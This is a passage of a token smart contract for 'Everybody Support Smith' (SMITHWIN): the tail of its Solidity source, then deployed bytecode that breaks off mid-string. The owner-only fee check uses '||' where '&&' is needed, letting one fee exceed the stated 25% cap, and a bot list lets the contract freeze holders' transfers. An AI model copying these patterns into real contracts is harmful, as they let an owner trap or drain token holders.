tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell; uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy; require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%"); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%"); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b80638f9a55c0116100d15780638f9a55c0146104d457806395d89b41146104ff57806398a5c3151461052a578063a2a957bb14610553576101d7565b806374010ece146104555780637d1db4a51461047e5780638da5cb5b146104a9576101d7565b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103c15780636fc3eaec146103ea57806370a0823114610401578063715018a61461043e576101d7565b80632fd689e314610317578063313ce5671461034257806349bd5a5e1461036d5780636b99905314610398576101d7565b80631694505e116101ab5780631694505e1461026d57806317f18f951461029857806318160ddd146102af57806323b872dd146102da576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061307c565b6106f0565b005b34801561021157600080fd5b5061021a61081a565b604051610227919061314d565b60405180910390f35b34801561023c57600080fd5b50610257600480360381019061025291906131a5565b610857565b6040516102649190613200565b60405180910390f35b34801561027957600080fd5b50610282610875565b60405161028f919061327a565b60405180910390f35b3480156102a457600080fd5b506102ad61089b565b005b3480156102bb57600080fd5b506102c4610954565b6040516102d191906132a4565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc91906132bf565b610964565b60405161030e9190613200565b60405180910390f35b34801561032357600080fd5b5061032c610a96565b60405161033991906132a4565b60405180910390f35b34801561034e57600080fd5b50610357610a9c565b604051610364919061332e565b60405180910390f35b34801561037957600080fd5b50610382610aa5565b60405161038f9190613358565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190613373565b610acb565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906133cc565b610bbb565b005b3480156103f657600080fd5b506103ff610c6c565b005b34801561040d57600080fd5b5061042860048036038101906104239190613373565b610d3d565b60405161043591906132a4565b60405180910390f35b34801561044a57600080fd5b50610453610d8e565b005b34801561046157600080fd5b5061047c600480360381019061047791906133f9565b610ee1565b005b34801561048a57600080fd5b50610493610fd8565b6040516104a091906132a4565b60405180910390f35b3480156104b557600080fd5b506104be610fde565b6040516104cb9190613358565b60405180910390f35b3480156104e057600080fd5b506104e9611007565b6040516104f691906132a4565b60405180910390f35b34801561050b57600080fd5b5061051461100d565b604051610521919061314d565b60405180910390f35b34801561053657600080fd5b50610551600480360381019061054c91906133f9565b61104a565b005b34801561055f57600080fd5b5061057a60048036038101906105759190613426565b6110e9565b005b34801561058857600080fd5b506105a3600480360381019061059e91906131a5565b611212565b6040516105b09190613200565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190613373565b611230565b6040516105ed9190613200565b60405180910390f35b34801561060257600080fd5b5061060b611250565b005b34801561061957600080fd5b50610634600480360381019061062f91906134e8565b611329565b005b34801561064257600080fd5b5061064b611463565b60405161065891906132a4565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613548565b611469565b60405161069591906132a4565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c091906133f9565b6114f0565b005b3480156106d357600080fd5b506106ee60048036038101906106e99190613373565b6115e7565b005b6106f86117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906135d4565b60405180910390fd5b60005b8151811015610816576001601160008484815181106107aa576107a96135f4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080e90613652565b915050610788565b5050565b60606040518060400160405280601781526020017f4576657279626f647920537570706f727420536d697468000000000000000000815250905090565b600061086b6108646117a8565b84846117b0565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108a36117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610930576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610927906135d4565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b6000670de0b6b3a7640000905090565b6000610971848484611979565b6005600061097d6117a8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a8b57610a8a846109d56117a8565b610a858560405180606001604052806028815260200161422260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a3b6117a8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234b9092919063ffffffff16565b6117b0565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad36117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b57906135d4565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc36117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c47906135d4565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cad6117a8565b73ffffffffffffffffffffffffffffffffffffffff161480610d235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0b6117a8565b73ffffffffffffffffffffffffffffffffffffffff16145b610d2c57600080fd5b6000479050610d3a816123af565b50565b6000610d87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124aa565b9050919050565b610d966117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a906135d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ee96117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d906135d4565b60405180910390fd5b6103e8670de0b6b3a7640000610f8c91906136c9565b811015610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc59061376c565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600881526020017f534d49544857494e000000000000000000000000000000000000000000000000815250905090565b6110526117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906135d4565b60405180910390fd5b8060198190555050565b6110f16117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611175906135d4565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111a8919061378c565b9050600083866111b8919061378c565b90506019821115806111cb575060198111155b61120a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112019061382e565b60405180910390fd5b505050505050565b600061122661121f6117a8565b8484611979565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112916117a8565b73ffffffffffffffffffffffffffffffffffffffff1614806113075750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112ef6117a8565b73ffffffffffffffffffffffffffffffffffffffff16145b61131057600080fd5b600061131b30610d3d565b905061132681612518565b50565b6113316117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b5906135d4565b60405180910390fd5b60005b8383905081101561145d5781600560008686858181106113e4576113e36135f4565b5b90506020020160208101906113f99190613373565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145590613652565b9150506113c1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114f86117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c906135d4565b60405180910390fd5b6103e8670de0b6b3a764000061159b91906136c9565b8110156115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d4906138c0565b60405180910390fd5b8060188190555050565b6115ef6117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611673906135d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e290613952565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361181f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611816906139e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188590613a76565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161196c91906132a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119df90613b08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4e90613b9a565b60405180910390fd5b60008111611a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9190613c2c565b60405180910390fd5b611aa2610fde565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b105750611ae0610fde565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561204a57601660149054906101000a900460ff16611b9f57611b31610fde565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9590613cbe565b60405180910390fd5b5b601754811115611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb90613d2a565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c885750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbe90613dbc565b60405180910390fd5b6008544311158015611d265750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611d805750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611db857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e16576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ec35760185481611e7884610d3d565b611e82919061378c565b10611ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb990613e4e565b60405180910390fd5b5b6000611ece30610d3d565b9050600060195482101590506017548210611ee95760175491505b808015611f035750601660159054906101000a900460ff16155b8015611f5d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f73575060168054906101000a900460ff165b8015611fc95750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561201f5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120475761202d82612518565b6000479050600081111561204557612044476123af565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120f15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121a45750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121a35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121b25760009050612339565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561225d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227557600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123205750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561233857600b54600d81905550600c54600e819055505b5b61234584848484612791565b50505050565b6000838311158290612393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238a919061314d565b60405180910390fd5b50600083856123a29190613e6e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123ff6002846127be90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561242a573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61247b6002846127be90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124a6573d6000803e3d6000fd5b5050565b60006006548211156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e890613f14565b60405180910390fd5b60006124fb612808565b905061251081846127be90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125505761254f612edb565b5b60405190808252806020026020018201604052801561257e5781602001602082028036833780820191505090505b5090503081600081518110612596576125956135f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561263d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126619190613f49565b81600181518110612675576126746135f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126dc30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b0565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161274095949392919061406f565b600060405180830381600087803b15801561275a57600080fd5b505af115801561276e573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061279f5761279e612833565b5b6127aa848484612870565b806127b8576127b7612a3b565b5b50505050565b600061280083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a4f565b905092915050565b6000806000612815612ab2565b9150915061282c81836127be90919063ffffffff16565b9250505090565b6000600d5414801561284757506000600e54145b61286e57600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061288287612b11565b9550955095509550955095506128e086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c181612c21565b6129cb8483612cde565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a2891906132a4565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8d919061314d565b60405180910390fd5b5060008385612aa591906136c9565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612ae6670de0b6b3a76400006006546127be90919063ffffffff16565b821015612b0457600654670de0b6b3a7640000935093505050612b0d565b81819350935050505b9091565b6000806000806000806000806000612b2e8a600d54600e54612d18565b9250925092506000612b3e612808565b90506000806000612b518e878787612dae565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bbb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061234b565b905092915050565b6000808284612bd2919061378c565b905083811015612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e90614115565b60405180910390fd5b8091505092915050565b6000612c2b612808565b90506000612c428284612e3790919063ffffffff16565b9050612c9681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612cf382600654612b7990919063ffffffff16565b600681905550612d0e81600754612bc390919063ffffffff16565b6007819055505050565b600080600080612d446064612d36888a612e3790919063ffffffff16565b6127be90919063ffffffff16565b90506000612d6e6064612d60888b612e3790919063ffffffff16565b6127be90919063ffffffff16565b90506000612d9782612d89858c612b7990919063ffffffff16565b612b7990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612dc78589612e3790919063ffffffff16565b90506000612dde8689612e3790919063ffffffff16565b90506000612df58789612e3790919063ffffffff16565b90506000612e1e82612e108587612b7990919063ffffffff16565b612b7990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612e495760009050612eab565b60008284612e579190614135565b9050828482612e6691906136c9565b14612ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9d90614201565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f1382612eca565b810181811067ffffffffffffffff82111715612f3257612f31612edb565b5b80604052505050565b6000612f45612eb1565b9050612f518282612f0a565b919050565b600067ffffffffffffffff821115612f7157612f70612edb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612fb282612f87565b9050919050565b612fc281612fa7565b8114612fcd57600080fd5b50565b600081359050612fdf81612fb9565b92915050565b6000612ff8612ff384612f56565b612f3b565b9050808382526020820190506020840283018581111561301b5761301a612f82565b5b835b8181101561304457806130308882612fd0565b84526020840193505060208101905061301d565b5050509392505050565b600082601f83011261306357613062612ec5565b5b8135613073848260208601612fe5565b91505092915050565b60006020828403121561309257613091612ebb565b5b600082013567ffffffffffffffff8111156130b0576130af612ec0565b5b6130bc8482850161304e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130ff5780820151818401526020810190506130e4565b8381111561310e576000848401525b50505050565b600061311f826130c5565b61312981856130d0565b93506131398185602086016130e1565b61314281612eca565b840191505092915050565b600060208201905081810360008301526131678184613114565b905092915050565b6000819050919050565b6131828161316f565b811461318d57600080fd5b50565b60008135905061319f81613179565b92915050565b600080604083850312156131bc576131bb612ebb565b5b60006131ca85828601612fd0565b92505060206131db85828601613190565b9150509250929050565b60008115159050919050565b6131fa816131e5565b82525050565b600060208201905061321560008301846131f1565b92915050565b6000819050919050565b600061324061323b61323684612f87565b61321b565b612f87565b9050919050565b600061325282613225565b9050919050565b600061326482613247565b9050919050565b61327481613259565b82525050565b600060208201905061328f600083018461326b565b92915050565b61329e8161316f565b82525050565b60006020820190506132b96000830184613295565b92915050565b6000806000606084860312156132d8576132d7612ebb565b5b60006132e686828701612fd0565b93505060206132f786828701612fd0565b925050604061330886828701613190565b9150509250925092565b600060ff82169050919050565b61332881613312565b82525050565b6000602082019050613343600083018461331f565b92915050565b61335281612fa7565b82525050565b600060208201905061336d6000830184613349565b92915050565b60006020828403121561338957613388612ebb565b5b600061339784828501612fd0565b91505092915050565b6133a9816131e5565b81146133b457600080fd5b50565b6000813590506133c6816133a0565b92915050565b6000602082840312156133e2576133e1612ebb565b5b60006133f0848285016133b7565b91505092915050565b60006020828403121561340f5761340e612ebb565b5b600061341d84828501613190565b91505092915050565b600080600080608085870312156134405761343f612ebb565b5b600061344e87828801613190565b945050602061345f87828801613190565b935050604061347087828801613190565b925050606061348187828801613190565b91505092959194509250565b600080fd5b60008083601f8401126134a8576134a7612ec5565b5b8235905067ffffffffffffffff8111156134c5576134c461348d565b5b6020830191508360208202830111156134e1576134e0612f82565b5b9250929050565b60008060006040848603121561350157613500612ebb565b5b600084013567ffffffffffffffff81111561351f5761351e612ec0565b5b61352b86828701613492565b9350935050602061353e868287016133b7565b9150509250925092565b6000806040838503121561355f5761355e612ebb565b5b600061356d85828601612fd0565b925050602061357e85828601612fd0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135be6020836130d0565b91506135c982613588565b602082019050919050565b600060208201905081810360008301526135ed816135b1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061365d8261316f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361368f5761368e613623565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136d48261316f565b91506136df8361316f565b9250826136ef576136ee61369a565b5b828204905092915050565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b60006137566026836130d0565b9150613761826136fa565b604082019050919050565b6000602082019050818103600083015261378581613749565b9050919050565b60006137978261316f565b91506137a28361316f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137d7576137d6613623565b5b828201905092915050565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b60006138186016836130d0565b9150613823826137e2565b602082019050919050565b600060208201905081810360008301526138478161380b565b9050919050565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b60006138aa6028836130d0565b91506138b58261384e565b604082019050919050565b600060208201905081810360008301526138d98161389d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061393c6026836130d0565b9150613947826138e0565b604082019050919050565b6000602082019050818103600083015261396b8161392f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006139ce6024836130d0565b91506139d982613972565b604082019050919050565b600060208201905081810360008301526139fd816139c1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a606022836130d0565b9150613a6b82613a04565b604082019050919050565b60006020820190508181036000830152613a8f81613a53565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613af26025836130d0565b9150613afd82613a96565b604082019050919050565b60006020820190508181036000830152613b2181613ae5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b